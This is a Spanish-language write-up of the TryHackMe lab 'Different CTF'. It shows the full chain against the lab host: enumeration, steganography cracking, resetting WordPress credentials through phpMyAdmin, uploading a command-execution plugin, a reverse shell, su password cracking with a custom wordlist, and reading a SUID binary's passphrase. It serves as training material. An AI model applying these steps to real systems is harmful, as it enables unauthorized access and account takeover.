This page looks best with JavaScript enabled

TryHackMe - Different CTF

 •  ✍️ sckull

Different CTF es una maquina de TryHackMe, encontramos dos versiones de WordPres y vemos un reto de Esteganografia donde encontramos credenciales para el servicio FTP el cual nos dio acceso a PhpMyAdmin. En este ultimo modificamos las credenciales de los usuarios de ambas bases de datos de WordPress, además modificamos variables que nos permitio subir una shell inversa. Realizamos movimiento lateral creando un wordlist personalizado y realizamos ataque a contraseñas con sucrack. Para escalar privilegios encontramos una pista que nos permitió obtener las credenciales para root.

Room

Titulo Different CTF box_img_maker
Descripción interesting room, you can shoot the sun
Puntos 150
Dificultad Dificil
Maker

hakanbey01

NMAP

Escaneo de puertos con nmap nos muestra el puerto http (80) y el puerto ftp (21) abiertos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# Nmap 7.91 scan initiated Mon Apr 19 20:35:16 2021 as: nmap -p- --min-rate 10000 -oN allports 10.10.200.139
Warning: 10.10.200.139 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.200.139 (10.10.200.139)
Host is up (0.31s latency).
Not shown: 37023 closed ports, 28510 filtered ports
PORT   STATE SERVICE
21/tcp open  ftp
80/tcp open  http

# Nmap done at Mon Apr 19 20:38:02 2021 -- 1 IP address (1 host up) scanned in 166.18 seconds
# Nmap 7.91 scan initiated Mon Apr 19 21:12:24 2021 as: nmap -sC -sV -oN serviceports 10.10.200.139
Nmap scan report for adana.thm (10.10.200.139)
Host is up (0.25s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: WordPress 5.6
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Hello World – Just another WordPress site
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Apr 19 21:13:10 2021 -- 1 IP address (1 host up) scanned in 45.87 seconds

HTTP

Vemos un dominio de redireccion en la pagina principal, el cual agregamos a nuestro archivo /etc/hosts.

1
2
3
4
5
HTTP/1.1 200 OK
Date: Tue, 20 Apr 2021 00:55:24 GMT
Server: Apache/2.4.29 (Ubuntu)
Link: <http://adana.thm/index.php/wp-json/>; rel="https://api.w.org/"
Content-Type: text/html; charset=UTF-8

Al visitar el puerto 80 vemos que esta corriendo wordpress.
image

GOBUSTER

Utilizamos gobuster para busqueda de directorios y archivos. Vemos directorios que no son comunes: announcements y phpmyadmin.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
╭─kali@kali ~/thm/differentctf  
╰─➤  gohttp http://adana.thm/
/announcements        (Status: 301) [Size: 314] [--> http://adana.thm/announcements/]
/index.php            (Status: 301) [Size: 0] [--> http://adana.thm/]                
/index.php            (Status: 301) [Size: 0] [--> http://adana.thm/]                
/javascript           (Status: 301) [Size: 311] [--> http://adana.thm/javascript/]   
/license.txt          (Status: 200) [Size: 19915]                                    
/phpmyadmin           (Status: 301) [Size: 311] [--> http://adana.thm/phpmyadmin/]   
/readme.html          (Status: 200) [Size: 7278]                                     
/server-status        (Status: 403) [Size: 274]                                      
/wp-admin             (Status: 301) [Size: 309] [--> http://adana.thm/wp-admin/]     
/wp-blog-header.php   (Status: 200) [Size: 0]                                        
/wp-includes          (Status: 301) [Size: 312] [--> http://adana.thm/wp-includes/]  
/wp-content           (Status: 301) [Size: 311] [--> http://adana.thm/wp-content/]   
/wp-load.php          (Status: 200) [Size: 0]                                        
/wp-links-opml.php    (Status: 200) [Size: 224]                                      
/wp-mail.php          (Status: 403) [Size: 2672]                                     
/wp-settings.php      (Status: 500) [Size: 0]                                        
/wp-trackback.php     (Status: 200) [Size: 135]                                      
/wp-login.php         (Status: 200) [Size: 6544]                                     
/wp-config.php        (Status: 200) [Size: 0]                                        
/wp-cron.php          (Status: 200) [Size: 0]                                        
/wp-signup.php        (Status: 302) [Size: 0] [--> http://adana.thm/wp-login.php?action=register]
/xmlrpc.php           (Status: 405) [Size: 42]                                                   
/xmlrpc.php           (Status: 405) [Size: 42]

WPSCAN

Tambien enumeramos plugins, temas y usuarios utilizando wpscan. Encontramos un usuario y la version desactualizada de wordpress.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
[+] WordPress version 5.6 identified (Outdated, released on 2020-12-08).
 | Found By: Rss Generator (Passive Detection)
 |  - http://adana.thm/index.php/feed/, <generator>https://wordpress.org/?v=5.6</generator>
 |  - http://adana.thm/index.php/comments/feed/, <generator>https://wordpress.org/?v=5.6</generator>

[+] hakanbey01
 | Found By: Author Posts - Author Pattern (Passive Detection)
 | Confirmed By:
 |  Rss Generator (Passive Detection)
 |  Wp Json Api (Aggressive Detection)
 |   - http://adana.thm/index.php/wp-json/wp/v2/users/?per_page=100&page=1
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

Observamos en /announcements/ dos archivos, un “wordlist” y una imagen.
image

En /phpmyadmin vemos el panel de logeo de este administrador.
image

STEGANOGRAPHY

Utilizamos stegcracker con la imagen y wordlist encontrados, obtenemos credenciales para el servicio ftp.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
╭─kali@kali ~/thm/differentctf  
╰─➤  stegcracker austrailian-bulldog-ant.jpg wordlist.txt

[... REDACTED ...]

Counting lines in wordlist..
Attacking file 'austrailian-bulldog-ant.jpg' with wordlist 'wordlist.txt'..
Successfully cracked file with password: 123adanaantinwar
Tried 49380 passwords
Your file has been written to: austrailian-bulldog-ant.jpg.out
123adanaantinwar
╭─kali@kali ~/thm/differentctf  
╰─➤  cat austrailian-bulldog-ant.jpg.out 
RlRQLUxPR0lOClVTRVI6IGhha2FuZnRwClBBU1M6IDEyM2FkYW5hY3JhY2s=
╭─kali@kali ~/thm/differentctf 
╰─➤  cat austrailian-bulldog-ant.jpg.out|base64 -d
FTP-LOGIN
USER: hakanftp
PASS: NOTAPASSWORD

FTP - HAKANFTP

Ingresamos por el servicio FTP donde encontramos los archivos de wordpress, obtuvimos los archivos .bash_history y wp-config.php. Intentamos escribir un archivo para ejecucion de comandos pero tal parece que la carpeta no esta realacionada al wordpress del puerto 80.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
ftp> ls -lah
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxrwx    8 1001     1001         4096 Jan 15 12:26 .
drwxrwxrwx    8 1001     1001         4096 Jan 15 12:26 ..
-rw-------    1 1001     1001           88 Jan 13 11:06 .bash_history
drwx------    2 1001     1001         4096 Jan 11 10:29 .cache
drwx------    3 1001     1001         4096 Jan 11 10:29 .gnupg
-rw-r--r--    1 1001     1001          554 Jan 10 22:26 .htaccess
drwxr-xr-x    2 0        0            4096 Jan 14 16:49 announcements
-rw-r--r--    1 1001     1001          405 Feb 06  2020 index.php
-rw-r--r--    1 1001     1001        19915 Feb 12  2020 license.txt
-rw-r--r--    1 1001     1001         7278 Jun 26  2020 readme.html
-rw-r--r--    1 1001     1001         7101 Jul 28  2020 wp-activate.php
drwxr-xr-x    9 1001     1001         4096 Dec 08 22:13 wp-admin
-rw-r--r--    1 1001     1001          351 Feb 06  2020 wp-blog-header.php
-rw-r--r--    1 1001     1001         2328 Oct 08  2020 wp-comments-post.php
-rw-r--r--    1 0        0            3194 Jan 11 09:55 wp-config.php
drwxr-xr-x    4 1001     1001         4096 Dec 08 22:13 wp-content
-rw-r--r--    1 1001     1001         3939 Jul 30  2020 wp-cron.php
drwxr-xr-x   25 1001     1001        12288 Dec 08 22:13 wp-includes
-rw-r--r--    1 1001     1001         2496 Feb 06  2020 wp-links-opml.php
-rw-r--r--    1 1001     1001         3300 Feb 06  2020 wp-load.php
-rw-r--r--    1 1001     1001        49831 Nov 09 10:53 wp-login.php
-rw-r--r--    1 1001     1001         8509 Apr 14  2020 wp-mail.php
-rw-r--r--    1 1001     1001        20975 Nov 12 14:43 wp-settings.php
-rw-r--r--    1 1001     1001        31337 Sep 30  2020 wp-signup.php
-rw-r--r--    1 1001     1001         4747 Oct 08  2020 wp-trackback.php
-rw-r--r--    1 1001     1001         3236 Jun 08  2020 xmlrpc.php
226 Directory send OK.

Dentro del archivo .bash_history no encontramos mucho, pero por el historial hakanbey podria ser un usuario.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
╭─kali@kali ~/thm/differentctf  
╰─➤  cat .bash_history 
id
su root
ls
cd ..
ls
cd /home
ls
cd hakanbey/
ls
ls -la
cd ..
ls
exit
ls
cd /
ls
exit

En wp-config.ph encontramos las credenciales para la base de datos phpmyadmin1.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
╭─kali@kali ~/thm/differentctf  
╰─➤  cat wp-config.php|grep -v "*"
<?php

define( 'DB_NAME', 'phpmyadmin1' );

define( 'DB_USER', 'phpmyadmin' );

define( 'DB_PASSWORD', 'NOTAPASSWORD' );

define( 'DB_HOST', 'localhost' );

define( 'DB_CHARSET', 'utf8mb4' );

define( 'DB_COLLATE', '' );

define( 'SECURE_AUTH_KEY',  '@[5K4Q%_gsP%x=QJ]#-lX`BXVNSu7o}5=ht}L~/t%Txt Gx+<BX=,MeiiCHcXvc^' );
define( 'LOGGED_IN_KEY',    ',;0^d77wq7mtnGM1o%WaN.MpMJ9Zj69sI^)2cIVdR3h>YP/S:~SrIn+0AY$Adz.K' );
define( 'SECURE_AUTH_SALT', '>,V>-2!VKaBkkeRd|K&!([%}!;TfeA`@ikjcC/[]:: $.K&L.-`gk_3%t5/fu_Zd' );
define( 'LOGGED_IN_SALT',   'BOk(mP#GI:/ApR/z#w]p<-{smWKoG]qW=gAFR:W=tp_EVb:TN!@cVidma6l@2R$s' );


$table_prefix = 'wp_';

define( 'WP_DEBUG', false );


if ( ! defined( 'ABSPATH' ) ) {
        define( 'ABSPATH', __DIR__ . '/' );
}

require_once ABSPATH . 'wp-settings.php';

PHPMYADMIN

Ingresamos a phpmyadmin con las credenciales encontradas y vemos dentro de las bases de datos phpmyadmin, phpmyadmin1 dos hashes que pertenecen al usuario hackandbey01. Aunque solamente encontramos la contraseña de la base de datos de phpmyadmin1 la cual es la misma al usuario phpmyadmin.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
╭─kali@kali ~/thm/differentctf[4/4]
╰─➤  john --wordlist=wordlist.txt hashes
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (phpass [phpass ($P$ or $H$) 256/256 AVX2 8x3])
Cost 1 (iteration count) is 8192 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
NOTAPASSWORD            (?)
Warning: Only 80 candidates left, minimum 96 needed for performance.
1g 0:00:00:01 DONE (2021-04-19 21:30) 0.7575g/s 37878p/s 38169c/s 38169C/s bobocel..alexis15
Use the "--show --format=phpass" options to display all of the cracked passwords reliably

#$P$BEyLE6bPLjgWQ3IHrLu3or19t0faUh.:123455

Intentamos realizar la escritura de una shell utilizando SQL pero al parecer mysql esta limitado a la carga y escritura de archivos, solamente esta permitida la escritura en una carpeta previamente configurada /var/lib/mysql-files/.
image

Además encontramos un dominio dentro de las opciones del usuario hakankey01 -> asd.thm en ambas bases de datos, tambien dentro de la tabla wp_option vemos un subdominio especificamente en phpmyadmin1.
image

Con la informacion anterior podriamos decir que existen dos bases de datos distintas para dos direcciones de Wordpress. Agregamos el subdominio al archivo /etc/hosts, al visitar el subdominio vemos el mismo tema y contenido.
image

WP_USER

Editamos la contraseña del usuario hackandbey01 en las base de datos con un hash nuevo que generamos en secure-site.

1
$P$5ZDzPE45Ci.QxPaPz.03z6TYbakcSQ0 --> password

Luego de unos segundos logramos obtener acceso con la nueva contraseña en el panel de ambos wordpress, aunque no logramos subir ningun tipo de archivo o plugin para obtener una shell ya que no tenemos suficientes permisos en el directorio actual.
image

FTP > WORDPRESS

Anteriormente intentamos subir archivos a FTP pero encontramos que adana.thm no estaba relacionado al directorio de FTP, al subir un archivo a FTP intentamos realizar una solicitud al archivo subido en el subdominio y observamos que este subdominio si está relacionado al directorio de FTP más no tenemos acceso a estos archivos.

1
2
3
4
5
6
7
8
9
╭─kali@kali ~/thm/differentctf  
╰─➤  cat i.txt 
hello
╭─kali@kali ~/thm/differentctf  
╰─➤  curl -sI http://subdomain.adana.thm/wp-content/plugins/akismet/i.txt      
HTTP/1.1 403 Forbidden
Date: Wed, 21 Apr 2021 04:54:54 GMT
Server: Apache/2.4.29 (Ubuntu)
Content-Type: text/html; charset=iso-8859-1

Verificamos en el servicio FTP y vemos que los permisos del archivo subido (i.txt) es diferente (600) al que los demás archivos (644).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
ftp> ls -lah
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    4 1001     1001         4096 Apr 21 04:54 .
drwxr-xr-x    5 1001     1001         4096 Apr 21 04:38 ..
-rw-r--r--    1 1001     1001          629 May 09  2016 .htaccess
-rw-r--r--    1 1001     1001        18092 Aug 24  2015 LICENSE.txt
drwxr-xr-x    3 1001     1001         4096 Dec 08 22:13 _inc
-rw-r--r--    1 1001     1001         2543 Oct 22 19:16 akismet.php
-rw-r--r--    1 1001     1001        20307 Oct 13  2020 changelog.txt
-rw-r--r--    1 1001     1001        49941 Oct 19  2020 class.akismet-admin.php
-rw-r--r--    1 1001     1001         4663 Jun 28  2018 class.akismet-cli.php
-rw-r--r--    1 1001     1001        11135 Oct 30  2018 class.akismet-rest-api.php
-rw-r--r--    1 1001     1001         2856 Jul 13  2017 class.akismet-widget.php
-rw-r--r--    1 1001     1001        58662 Oct 19  2020 class.akismet.php
-rw-------    1 1001     1001            6 Apr 21 04:54 i.txt
-rw-r--r--    1 1001     1001           26 Mar 10  2014 index.php
-rw-r--r--    1 1001     1001         2386 Dec 04 15:04 readme.txt
drwxr-xr-x    2 1001     1001         4096 Dec 08 22:13 views
-rw-r--r--    1 1001     1001         6438 Apr 02  2019 wrapper.php
226 Directory send OK.
ftp>

UPLOAD_PATH > WWW-DATA

Como se menciono anteriormente Wordpress mostraba error de permisos de escritura, realizamos una busqueda de los errores que wordpress nos mostraba, la mayoria de las “soluciones” explica que se debe de cambiar los permisos a la carpeta wp-content pero se necesita acceso a la maquina. En el area de soporte de Wordpress encontramos un comentario que indica la opcion upload_path en wp_options y enlaza un video de como cambiar y solucionar este error en la base de datos.
image

Verificamos la direccion en la base de datos de phpmyadmin y observamos que está vacia, por lo que agregamos una direccion en este caso /dev/shm.
image
image

Intentamos subir un archivos los cuales se subieron correctamente aunque no se podian visualizar.
image

Realizamos lo mismo en el subdominio, extrañamente pasaba lo mismo.
image

PLUGIN > SHELL

Intentamos subir un plugin para ejecucion de comandos, además utilizamos las credenciales FTP y direccion 127.0.0.1.
image

El plugin se subió correctamente más no apareció en la direccion que debería al intentar ejecutar comandos.

1
2
3
4
5
6
╭─kali@kali ~/thm/differentctf/tmp  
╰─➤  curl -sI "http://adana.thm/wp-content/plugins/shell/shell.php?cmd=id"
HTTP/1.1 404 Not Found
Date: Wed, 21 Apr 2021 07:45:43 GMT
Server: Apache/2.4.29 (Ubuntu)
Content-Type: text/html; charset=iso-8859-1

Intentamos subir el mismo plugin en wordpress del subdominio pero aparecia como ya instalado.
image

Realizamos la ejecucion de comandos con el plugin pero utilizando la direccion del subdominio en el cual si logramos la ejecucion.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
╭─kali@kali ~/thm/differentctf/tmp  
╰─➤  curl -I "http://subdomain.adana.thm/wp-content/plugins/shell/shell.php?cmd=id"
HTTP/1.1 200 OK
Date: Wed, 21 Apr 2021 07:51:29 GMT
Server: Apache/2.4.29 (Ubuntu)
Content-Type: text/html; charset=UTF-8

╭─kali@kali ~/thm/differentctf/tmp  
╰─➤  curl -s "http://subdomain.adana.thm/wp-content/plugins/shell/shell.php?cmd=id" 
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Ejecutamos una shell inversa con python, logramos obtener acceso con el usuario www-data y leer nuestra flag web.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
╭─kali@kali ~/thm/differentctf  
╰─➤  listen 1338
listening on [any] 1338 ...
connect to [10.2.29.162] from adana.thm [10.10.36.103] 59122
/bin/sh: 0: can't access tty; job control turned off
$ python -c 'import pty;pty.spawn("/bin/bash");'
cd ../../
ls
index.php  plugins  themes  upgrade
cd ../
ls
announcements    wp-admin              wp-cron.php        wp-mail.php
index.php        wp-blog-header.php    wp-includes        wp-settings.php
license.txt      wp-comments-post.php  wp-links-opml.php  wp-signup.php
readme.html      wp-config.php         wp-load.php        wp-trackback.php
wp-activate.php  wp-content            wp-login.php       xmlrpc.php
cd ../
ls
html  subdomain
cd html
ls
announcements    wp-blog-header.php    wp-links-opml.php  wp-trackback.php
index.php        wp-comments-post.php  wp-load.php        wwe3bbfla4g.txt
license.txt      wp-config.php         wp-login.php       xmlrpc.php
readme.html      wp-content            wp-mail.php
wp-activate.php  wp-cron.php           wp-settings.php
wp-admin         wp-includes           wp-signup.php
cat wwe3bbfla4g.txt
cat wwe3bbfla4g.txt
THM{THIS_FLAG_IS_FAKE_WEBTXT}
www-data@ubuntu:/var/www/html$

Realizamos una enumeracion utilizando grep y ls ya que el comando find solo lo pueden ejecutar hakanbey y root, aunque no encontramos ningun archivo que fuera de ayuda por el momento.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
www-data@ubuntu:/dev/shm$ ls -lahR / 2>/dev/null| awk '/:$/&&f{s=$0;f=0}/:$/&&!f{sub(/:$/,"");s=$0;f=1;next}NF&&f{ print s"/"$0 }' |grep hakanbey
/home/drwxr-x--- 15 hakanbey hakanbey 4.0K Mar 15 12:45 hakanbey
/usr/bin/-r-srwx---  1 root   hakanbey   13K Jan 14 18:01 binary
/usr/bin/-rwxr-x---  1 root   hakanbey  233K Nov  5  2017 find
/var/lib/AccountsService/users/-rw-r--r-- 1 root root  248 Jan 10 20:30 hakanbey
/var/lib/lightdm-data/drwxrwx---  2 hakanbey lightdm 4.0K Jan 10 18:32 hakanbey
/var/www/html/-rwxrwxrwx  1 hakanbey hakanbey   38 Jan 14 16:50 wwe3bbfla4g.txt
www-data@ubuntu:/dev/shm$
www-data@ubuntu:/dev/shm$ ls -lahR / 2>/dev/null| awk '/:$/&&f{s=$0;f=0}/:$/&&!f{sub(/:$/,"");s=$0;f=1;next}NF&&f{ print s"/"$0 }' |grep "www-data"|grep -v "/var/www/" |grep -v "/proc" | grep -v "/run"
/etc/phpmyadmin/-rw-r-----   1 root www-data  520 Jan 10 23:06 config-db.php
/etc/phpmyadmin/-rw-r-----   1 root www-data    8 Jan 10 21:43 htpasswd.setup
/var/cache/drwxr-xr-x  2 www-data  www-data 4.0K Feb 26  2018 tcpdf
/var/cache/apache2/drwxr-xr-x  2 www-data www-data 4.0K Aug 12  2020 mod_cache_disk
/var/cache/apache2/mod_cache_disk/drwxr-xr-x 2 www-data www-data 4.0K Aug 12  2020 .
/var/cache/tcpdf/drwxr-xr-x  2 www-data www-data 4.0K Feb 26  2018 .
/var/lib/phpmyadmin/-rw-r-----  1 root     www-data   68 Jan 10 21:43 blowfish_secret.inc.php
/var/lib/phpmyadmin/-rw-r-----  1 root     www-data    0 Jan 10 21:43 config.inc.php
/var/lib/phpmyadmin/drwxr-xr-x  2 www-data www-data 4.0K Nov 18 00:16 tmp
/var/lib/phpmyadmin/tmp/drwxr-xr-x 2 www-data www-data 4.0K Nov 18 00:16 .
/var/lib/ucf/cache/-rw-r----- 1 root www-data  520 Jan 10 23:06 :etc:phpmyadmin:config-db.php
www-data@ubuntu:/dev/shm

HAKANBEY - USER

Siguiendo las diferentes pistas como el tag de la room, utilizamos sucrack para intentar obtener la contraseña del usuario hakanbey con la wordlist del directorio “oculto”, aunque luego de varias horas no logramos encontrar la contraseña en el wordlist.

Observamos las pistas dadas en el Discord - TryHackMe, creamos un diccionario a partir de el prefijo de las dos contraseñas previamente encontradas en wordlist.txt logramos encontrar la contraseña del usuaro hakanbey.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
# 123adanaantinwar
# 123adanacrack
# 123adana <<<--- prefix

www-data@ubuntu:/dev/shm/tmp$ cat wordlist.txt | while read line; do echo 123adana${line}; done > 123adana.txt
www-data@ubuntu:/dev/shm/tmp$ ../sucrack -u hakanbey -b 10 -w 10 123adana.txt
447/803863
4015/803863
9895/803863
12796/803863
16252/803863
18071/803863
21805/803863
24561/803863
26824/803863
31110/803863
34770/803863
password is: NOTAPASSWORD
www-data@ubuntu:/dev/shm/tmp$

Realizamos la lectura de la flag user.txt.

1
2
3
4
5
6
7
8
hakanbey@ubuntu:~$ pwd;id
/home/hakanbey
uid=1000(hakanbey) gid=1000(hakanbey) groups=1000(hakanbey),4(adm),24(cdrom),30(dip),46(plugdev),108(lxd)
hakanbey@ubuntu:~$ ls
Desktop    Downloads  Pictures  Templates  Videos
Documents  Music      Public    user.txt   website
hakanbey@ubuntu:~$ cat user.txt
THM{HELLO_AGAIN_FAKE_FLAG}

PRIVILEGE ESCALATION

Hacemos una pequeña enumeracion y encontramos un fichero (binary) con permisos SUID. Utilizamos env para obtener una shell root.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
hakanbey@ubuntu:~$ find / -perm -4000 2>/dev/null|xargs ls -lah
-rwsr-xr-x 1 root   root        31K Aug 11  2016 /bin/fusermount
-rwsr-xr-x 1 root   root        43K Sep 16  2020 /bin/mount
-rwsr-xr-x 1 root   root        63K Jun 28  2019 /bin/ping
-rwsr-xr-x 1 root   root        44K Mar 22  2019 /bin/su
-rwsr-xr-x 1 root   root        27K Sep 16  2020 /bin/umount
-rwsr-xr-x 1 root   root        22K Jun 28  2019 /usr/bin/arping
-rwsr-sr-x 1 daemon daemon      51K Feb 20  2018 /usr/bin/at
-r-srwx--- 1 root   hakanbey    13K Jan 14 18:01 /usr/bin/binary
-rwsr-xr-x 1 root   root        75K Mar 22  2019 /usr/bin/chfn
-rwsr-xr-x 1 root   root        44K Mar 22  2019 /usr/bin/chsh
-rwsr-xr-x 1 root   root        75K Mar 22  2019 /usr/bin/gpasswd
-rwsr-xr-x 1 root   root        40K Mar 22  2019 /usr/bin/newgrp
-rwsr-xr-x 1 root   root        59K Mar 22  2019 /usr/bin/passwd
-rwsr-xr-x 1 root   root        22K Mar 27  2019 /usr/bin/pkexec
-rwsr-xr-x 1 root   root       146K Jan 31  2020 /usr/bin/sudo
-rwsr-xr-x 1 root   root        19K Jun 28  2019 /usr/bin/traceroute6.iputils
-rwsr-xr-- 1 root   messagebus  42K Jun 11  2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root   root        10K Mar 28  2017 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root   root       427K Mar  4  2019 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root   root        14K Mar 27  2019 /usr/lib/policykit-1/polkit-agent-helper-1
-rwsr-xr-x 1 root   root       621K Mar 15 13:02 /usr/local/bin/sudo
-rwsrwxrwx 1 root   root       1.1M May 14  2020 /usr/sbin/exim4
-rwsr-xr-- 1 root   dip        370K Jul 23  2020 /usr/sbin/pppd
hakanbey@ubuntu:~$

STRACE

Al ejecutar el fichero pide la string correcta, al ingresar nuestra contraseña nos mata la shell con hakanbey.

1
2
3
4
5
hakanbey@ubuntu:/$ /usr/bin/binary
I think you should enter the correct string here ==>123adanasubaru
pkill: killing pid 1791 failed: Operation not permitted
pkill: killing pid 1958 failed: Operation not permitted
www-data@ubuntu:/$

Utilizamos ltrace para ver un poco el codigo que esta siendo ejecutado, observamos que warzoneinadana es un string que esta siendo concatenado, además es comparada con la string que ingresamos, en el caso de no ser iguales mata nuestra shell.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
hakanbey@ubuntu:/$ ltrace /usr/bin/binary
strcat("war", "zone")                            = "warzone"
strcat("warzone", "in")                          = "warzonein"
strcat("warzonein", "ada")                       = "warzoneinada"
strcat("warzoneinada", "na")                     = "warzoneinadana"
printf("I think you should enter the cor"...)    = 52
 123adanasubaru
 123adanasubaru
) = 1
strcmp("123adanasubaru", "warzoneinadana")       = -70
strcat("pki", "l")                               = "pkil"
strcat("pkil", "l")                              = "pkill"
strcat("pkill", " -9")                           = "pkill -9"
strcat("pkill -9", " -t")                        = "pkill -9 -t"
strcat("pkill -9 -t", " pts")                    = "pkill -9 -t pts"
strcat("pkill -9 -t pts", "/0")                  = "pkill -9 -t pts/0"
system("pkill -9 -t pts/0"pkill: killing pid 1791 failed: Operation not permitted
pkill: killing pid 1829 failed: Operation not permitted
www-data@ubuntu:/$

Al ingresar la frase correcta nos muestra una pista y que se realizo una copia de un archivo JPG a nuestra carpeta principal.

1
2
3
4
5
6
7
8
hakanbey@ubuntu:~$ /usr/bin/binary
warzoneinadana
Hint! : Hexeditor 00000020 ==> ???? ==> /home/hakanbey/Desktop/root.jpg (CyberChef)

Copy /root/root.jpg ==> /home/hakanbey/root.jpg
hakanbey@ubuntu:~$ ls -lah /home/hakanbey/root.jpg
-rw-rw-r-- 1 root hakanbey 45K Apr 24 00:46 /home/hakanbey/root.jpg
hakanbey@ubuntu:~$

Realizamos la ejecucion de multiples herramientas de esteganografia a la imagen pero no encontramos algun string o pista dentro de esta.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
╭─kali@kali ~/Pictures  
╰─➤  xxd root.jpg|head                     
00000000: ffd8 ffe0 0010 4a46 4946 0001 0101 0060  ......JFIF.....`
00000010: 0060 0000 ffe1 0078 4578 6966 0000 4d4d  .`.....xExif..MM
00000020: fee9 9d3d 7918 5ffc 826d df1c 69ac c275  ...=y._..m..i..u
00000030: 0000 0056 0301 0005 0000 0001 0000 0068  ...V...........h
00000040: 0303 0001 0000 0001 0000 0000 5110 0001  ............Q...
00000050: 0000 0001 0100 0000 5111 0004 0000 0001  ........Q.......
00000060: 0000 0ec4 5112 0004 0000 0001 0000 0ec4  ....Q...........
00000070: 0000 0000 4164 6f62 6520 496d 6167 6552  ....Adobe ImageR
00000080: 6561 6479 0000 0001 86a0 0000 b18f ffdb  eady............
00000090: 0043 0002 0101 0201 0102 0202 0202 0202  .C..............

Despues de dar varias vueltas con herramientas de esteganografia, vemos que la pista se refiere a un indice 00000020 del archivo, obtuvimos el valor hexadecimal.

1
2
3
╭─kali@kali ~/Pictures
╰─➤  xxd -s 0x20 -l 16 -c 16 root.jpg
00000020: fee9 9d3d 7918 5ffc 826d df1c 69ac c275  ...=y._..m..i..u

Y utilizando cyberchef logramos obtener la contraseña del usuario root.
image

Cambiamos al usuario root y logramos obtener nuestra flag root.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
root@ubuntu:~# ls -lah
total 92K
drwx------  7 root root 4.0K Mar 15 13:04 .
drwxr-xr-x 24 root root 4.0K Jan 10 17:12 ..
lrwxrwxrwx  1 root root    9 Jan 14 18:12 .bash_history -> /dev/null
-rw-r--r--  1 root root 3.1K Apr  9  2018 .bashrc
drwx------  2 root root 4.0K Jan 10 18:25 .cache
drwx------  3 root root 4.0K Jan 10 20:43 .gnupg
-rw-r--r--  1 root root   76 Jan 14 11:33 hint.txt
drwxr-xr-x  3 root root 4.0K Jan 10 20:13 .local
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-rw-r--r--  1 root root  45K Jan 14 09:57 root.jpg
-rw-r--r--  1 root root   38 Jan 14 16:21 root.txt
drwxr-xr-x  2 root root 4.0K Jan 11 10:49 .rpmdb
drwx------  2 root root 4.0K Jan 10 17:20 .ssh
root@ubuntu:~# cat hint.txt
Hexeditor 00000020 ==> ???? ==> /home/hakanbey/Desktop/root.jpg (CyberChef)
root@ubuntu:~# cat root.txt
THM{YOU_GOT_IT_THIS_IS_YOUR_FLAG}
root@ubuntu:~#
Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe